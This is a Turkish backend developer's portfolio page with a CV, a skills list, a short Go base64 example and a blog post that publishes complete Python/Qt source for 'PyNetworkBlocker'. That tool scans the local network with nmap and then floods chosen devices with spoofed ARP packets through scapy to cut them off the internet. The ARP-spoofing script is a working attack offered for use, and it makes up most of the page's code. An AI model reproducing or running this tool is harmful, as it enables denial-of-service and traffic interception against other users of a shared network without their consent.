Onur Ağtaş

A Backend Developer based In Ankara, TR

  • Ad

    Onur Ağtaş
  • Yaş

    29
  • Email

    agtasonur@gmail.com
  • Telefon

    0533 290 60 62
  • Ülke

    Ankara, TR
Hakkımda

Kendini sürekli olarak geliştiren bilginin güç olduğuna inanan bir kişiliğe sahibim.

 

2008 yılından bugüne kadar yazılım sektöründeyim. Hobi olarak başlayıp profesyonel kazanç aşamasına kadar süreçlerim oldu.

 

2008 lise yıllarımda yazılıma başladım. 2008den bugüne kadar web teknolojilerini aktif olarak kullanıyorum. CakePHP, Codeigniter, Symfony, Laravel frameworklerini kullandım.

 

Web teknolojilerine ek olarak Redis, Memcache, Elasticsearch, Kibana, Rabbitmq konularında da tecrübeliyim.

 

Veritabanı olarak MySQL, MsSQL, PostgreSQL, MongoDB veritabanları ile çalıştım.

 

Ayrıca bu çalışmaları yayımlayabileceğim Docker bilgisine de sahibim oluşturabildiğim dockerfile dosyaları ve compose yaml dosyalarıyla doğrudan ayağa kalkabilecek docker containerler oluşturabilirim.

 

Tüm bunların yanında Java ile Android programlama konusunda 5 yıldan fazla çalıştım.

 

Python ve QT ile desktop uygulamalar geliştirebiliyorum.

 

GoLang, Gin ile restfull api işlerinde bulundum.

 

NodeJS ile anlık etkileşim içinde bulunan python qt ile yaptığım uygulamalar aracılığı ile adb komutları üzerinden android cihazları kontrol edebileceğim sistemler çalışmalarım arasında. Nodejs socket.io ile bir çok uygulamayı anlık haberleştirebilirim.

 

Kısacası genç yaşlarda başlamış olmamın ve azimli olmamın avantajlari sonucu bir cok konuda tecrübeliyim.

Özgeçmiş

Çalışmalar

  • Web Developer

    FIRAT ÜNİVERSİTESİ BİLGİ İŞLEM DAİRE BAŞKANLIĞI
    11.2012 - 05.2014

    Üniversite web sayfaları yenilendi.

     

    Linux server kurulumu ve yönetimi gerekli Server, Database, FTP ayarlamalarının yapılması.

     

    Fırat Üniversitesi Ana Web Sayfası, Akademik Anket Sistemi, İdari Birimler Siteleri, Akademik Birimler Siteleri, Central Authentication Service (CAS) gibi web uygulamalarının yapılması.

     

    Kullanılan Teknolojiler: Php, MySQL, JavaScript, CSS, Ajax, jQuery, HTML, CSS, Bootstrap, Drupal, Wordpress, LimeSurvey

  • Web Developer

    Prodrom ICT Solitions
    09.2015 - 07.2016
  • Makine Mühendisi

    Asmin Doğalgaz
    09.2018 - 10.2018

    Kolon+Iç tesisat işleri yapıldı.

  • Kıdemli Yazılım Geliştirme Uzmanı

    Proda Bilişim
    11.2018 - 09.2019

    • Tarım bakanlığı içdenetim birimine sürekli denetim merkezi adı altında bakanlık verilerini analiz edebilen sistem geliştirildi. (PHP, Mssql, Redis, ElasticSearch kullanıldı.)
    • Tarım Bakanlığında kullanılan apigateway isimli api servis projesinin yönetimi ile ilgili servis yönetim paneli geliştirildi. (PHP & Mssql)

  • PHP Developer

    PttAvm.com
    09.2019 -

    • epttavm.com ile ilgili yeni geliştirmeler yapıldı.
    • Sistemdeki hatalar giderildi.
    • Bağımlı projeler yapıldı.
    • Kullanılan Teknolojiler:
      • PHP, ElasticSearch, MongoDB, MySQL, Python, Rabbitmq, Redis, Golang, Linux, Jenkins, Symfony vb.

Eğitimler

  • Elazığ Cumhuriyet Lisesi
    2008 - 2011

  • Makine Mühendisliği

    Fırat Üniversitesi
    2012 - 2018

Özgeçmiş

Yetenekler

  • Raspberry pi

  • Arduino

  • Matlab

  • Solidcam

  • Ansys Classic

  • Autocad

  • Solidworks

  • Socket.IO

  • Webrtc

  • Golang

  • Python

  • Android Programlama

  • PostgreSQL

  • MySQL

  • Java

  • PHP

  • JavaScript

  • jQuery

  • Linux

  • CakePHP

  • Zetacad

  • Redis

  • Mssql

  • NodeJS

  • Symfony

  • RabbitMQ

  • MongoDB

  • ElasticSearch

  • Docker

Galeri

Servisler

Testimonials

What people say about me

Blog

  • Bu yazıda base64 encode ve decode işlemlerini yapacağız.

    Bu işlemler için

    "encoding/base64"

    Kütüphanesini kullanacağız.

    String değerimizin "Hello Golang" olduğunu varsayalım;

    Encode için;

    str := base64.StdEncoding.EncodeToString([]byte("Hello Golang"))

    fmt.Println(str)

    Decode için;

    data, err := base64.StdEncoding.DecodeString(str)

    if err != nil {

        log.Fatal("error:", err)

    }

    fmt.Printf("%q\n", data)

  • Programlama dili olarak python kullandığım bu programımda arayüzü qt ile oluşturdum.

    Yaptığı işlem genel olarak öncelikle interfaceleri bulup ilgili interface seçilince bulunulan ağa bağlı cihazların ip adreslerini getiriyor. Bunu yaparken nmap kütüphanesini kullandım. Scapy kütüphanesi ile de arp spoofing yapıyoruz. Sonrasında ağdaki cihazlar internete bağlanmamaya başlayacaktır.

    pynetworkblocker.py ;

    #-*- coding:utf8 -*-
    import os
    os.system("sudo apt-get install python-pyqt5")
    import sys
    import Ui_gui
    import interfaces
    from PyQt5 import QtCore, QtGui, QtWidgets
    import nmap, socket, re, threading,time,thread
    from scapy.all import *
    import fcntl
    import struct
    import netifaces


    class MainDialog(QtWidgets.QDialog, Ui_gui.Ui_Dialog, interfaces.Interfaces):
        def __init__(self, parent=None):
            super(MainDialog, self).__init__(parent)
            self.setupUi(self)
            self.online = 0
            self.devices = []
            self.mac = ""

            self.ifaceButton.clicked.connect(self.getIface)

            self.devicesButton.clicked.connect(self.getDevices)
            self.ifaceList.itemClicked.connect(self.getDevices)
            self.arpButton.clicked.connect(self.sendArp)
            self.stop.clicked.connect(self.stopAction)
        
        def stopAction(self):
            self.status.setText("Status: Stoped")
            self.online = 0

        def send(self):
            if self.online == 1:
                while True:
                    for d in self.devices:
                        self.arp=scapy.all.ARP(op=1,psrc=self.sp,pdst=d,hwdst=self.mac)
                        print(self.sp, d, self.mac)
                        # self.log.moveCursor(QtGui.QTextCursor.End)
                        send(self.arp)
                    
                    if self.online == 0:
                        break

        def sendArp(self):
            self.status.setText("Status: Started - Working")
            self.online = 1
            self.devices = []
            for device in self.devicesList.selectedItems():
                self.devices.append(device.text())
            thread.start_new_thread(self.send, ())

        def getDevieThread(self):
            iface = self.ifaceList.currentItem().text()

            self.mac= self.getMac(iface)
            local = self.get_interface_ip(iface).split(".")
            hosts_ip = local[0]+'.'+local[1]+'.'+local[2]
            nm = nmap.PortScanner()
            nm.scan(hosts=hosts_ip+'.0/24', arguments='-n -sP -PE -PA21,23,80,3389')
            hosts_list = [(x, nm[x]['status']['state']) for x in nm.all_hosts()]
            hosts = []
            for host, status in hosts_list:
                spoof=re.findall("('(.+?)',)",str(hosts_list[0][:1]))
                self.sp = spoof[0][1]
                self.devicesList.clear()
                hosts.append(host)

            self.devicesList.addItems(hosts)

        def getDevices(self):
            self.devicesList.clear()
            thread.start_new_thread(self.getDevieThread, ())

        def getIface(self):
            self.ifaceList.clear()
            self.ifaceList.addItems(self.getInterfaces())


        def getMac(self,ifname):
            return netifaces.ifaddresses(ifname)[netifaces.AF_LINK][0]["addr"]

        def get_interface_ip(self,ifname):
            return netifaces.ifaddresses(ifname)[2][0]["addr"]

        def get_lan_ip(self):
            ip = socket.gethostbyname(socket.gethostname())
            if ip.startswith("127.") and os.name != "nt":
                interfaces = netifaces.interfaces()
                for ifname in interfaces:
                    try:
                        ip = self.get_interface_ip(ifname)
                        break
                    except IOError:
                        pass
            return ip


    app = QtWidgets.QApplication(sys.argv)
    form = MainDialog()
    form.show()
    app.exec_()

    Ui_gui.py içeriği;

    # -*- coding: utf-8 -*-

    # Form implementation generated from reading ui file '/home/onuragtas/Workspace/arPython/gui.ui'
    #
    # Created by: PyQt5 UI code generator 5.10.1
    #
    # WARNING! All changes made in this file will be lost!

    from PyQt5 import QtCore, QtGui, QtWidgets

    class Ui_Dialog(object):
        def setupUi(self, Dialog):
            Dialog.setObjectName("Dialog")
            Dialog.resize(316, 295)
            self.gridLayout = QtWidgets.QGridLayout(Dialog)
            self.gridLayout.setObjectName("gridLayout")
            self.devicesList = QtWidgets.QListWidget(Dialog)
            self.devicesList.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection)
            self.devicesList.setObjectName("devicesList")
            self.gridLayout.addWidget(self.devicesList, 0, 1, 1, 1)
            self.devicesButton = QtWidgets.QPushButton(Dialog)
            self.devicesButton.setObjectName("devicesButton")
            self.gridLayout.addWidget(self.devicesButton, 1, 1, 1, 1)
            self.arpButton = QtWidgets.QPushButton(Dialog)
            self.arpButton.setObjectName("arpButton")
            self.gridLayout.addWidget(self.arpButton, 2, 1, 1, 1)
            self.status = QtWidgets.QLabel(Dialog)
            self.status.setObjectName("status")
            self.gridLayout.addWidget(self.status, 3, 0, 1, 1)
            self.stop = QtWidgets.QPushButton(Dialog)
            self.stop.setObjectName("stop")
            self.gridLayout.addWidget(self.stop, 3, 1, 1, 1)
            self.ifaceButton = QtWidgets.QPushButton(Dialog)
            self.ifaceButton.setObjectName("ifaceButton")
            self.gridLayout.addWidget(self.ifaceButton, 2, 0, 1, 1)
            self.ifaceList = QtWidgets.QListWidget(Dialog)
            self.ifaceList.setObjectName("ifaceList")
            self.gridLayout.addWidget(self.ifaceList, 0, 0, 2, 1)

            self.retranslateUi(Dialog)
            self.ifaceButton.clicked.connect(Dialog.show)
            QtCore.QMetaObject.connectSlotsByName(Dialog)

        def retranslateUi(self, Dialog):
            _translate = QtCore.QCoreApplication.translate
            Dialog.setWindowTitle(_translate("Dialog", "PyNetworkBlocker"))
            self.devicesButton.setText(_translate("Dialog", "Ağdaki Cihazları Ara"))
            self.arpButton.setText(_translate("Dialog", "Engelle"))
            self.status.setText(_translate("Dialog", "Status:"))
            self.stop.setText(_translate("Dialog", "Durdur"))
            self.ifaceButton.setText(_translate("Dialog", "Search Interfaces"))
     

     

    ve interfaces.py içeriği;

     

    import socket
    import fcntl
    import struct
    import array

    class Interfaces():
        def getInterfaces(self):
            return self.all_interfaces()
        
        def all_interfaces(self):
            max_possible = 128  # arbitrary. raise if needed.
            bytes = max_possible * 32
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            names = array.array('B', '\0' * bytes)
            outbytes = struct.unpack('iL', fcntl.ioctl(
                s.fileno(),
                0x8912,  # SIOCGIFCONF
                struct.pack('iL', bytes, names.buffer_info()[0])
            ))[0]
            namestr = names.tostring()
            lst = []
            for i in range(0, outbytes, 40):
                name = namestr[i:i+16].split('\0', 1)[0]
                ip   = namestr[i+20:i+24]
                lst.append(name)
            return lst

        def format_ip(self,addr):
            return str(ord(addr[0])) + '.' + \
                str(ord(addr[1])) + '.' + \
                str(ord(addr[2])) + '.' + \
                str(ord(addr[3]))

     

     

    Bu program unix sistemlerde çalışacaktır. Çalışması için qt5, nmap, scapy.all, netifaces kütüphanelerini kuramız gerekiyor. 

Contact Me

Contact me to get your work done

Please Fill Required Fields